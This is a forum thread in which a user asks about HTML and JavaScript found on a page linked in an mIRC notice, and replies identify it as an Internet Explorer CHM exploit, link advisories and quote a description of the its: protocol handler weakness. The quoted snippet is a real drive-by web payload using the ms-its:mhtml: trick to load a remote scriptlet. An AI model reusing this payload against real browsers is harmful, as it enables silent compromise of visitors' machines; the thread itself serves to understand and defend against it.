What will this code do?

I am on mIRC and someone send a notice with a url. So I grab the source of the page using a tool and found this:

<textarea id="code" style="display:none;">
<object data="ms-its:mhtml:file://C:\foo.mht!${PATH}/EXPLOIT.CHM::/exploit.htm" type="text/x-scriptlet"></object>
</textarea>

<script language="javascript">
document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,location.href.indexOf('exploit.htm'))));
</script>

What does this do? Is there a patch for this?

What it will do depends on the contents of exploit.chm

Slarty

If I visit this site, what files will be created and where?

A chm is a windows helpfile, that is some code for the chm exploit on IE, its annoying as anything, my friend had it and its very very difficult to remove, theres work arounds like the one detailed in my second link, but its annoying none the less, on my friends computer it set its self up as the start page and no matter how much you delete the file it always re-appears on boot up,

The below link lists some stuff about the exploit, the other link shows a work around.

http://www.securitytracker.com/alert...c/1008578.html
http://netsecurity.about.com/cs/gene...a/aa021504.htm

im not aware of a patch, although the best patch is probably not to use IE, and change to something like mozilla, im sure it doesnt affect Moz, but i could be incorrect in my assumption.

i2c

Yeah, there is another thread here discussing this same issue.

http://www.antionline.com/showthread...hreadid=257718

The long and short of the thread can be seen here:

http://www.securityfocus.com/archive/1/363202

Description:

While previous patches were to stop showhelp from executing CHM files
using their path, a weakness in the way the double "\" is handled by
the its protocol handler allows for the execution of locally installed
CHM files.when "\\" is placed before the name of target CHM file the
HELP folder is searched for such name , if the help folder dose not
contain a file with that name then the rootdrive would be the next
path to be searched,when a file with that name is found in either of
these paths it would be executed .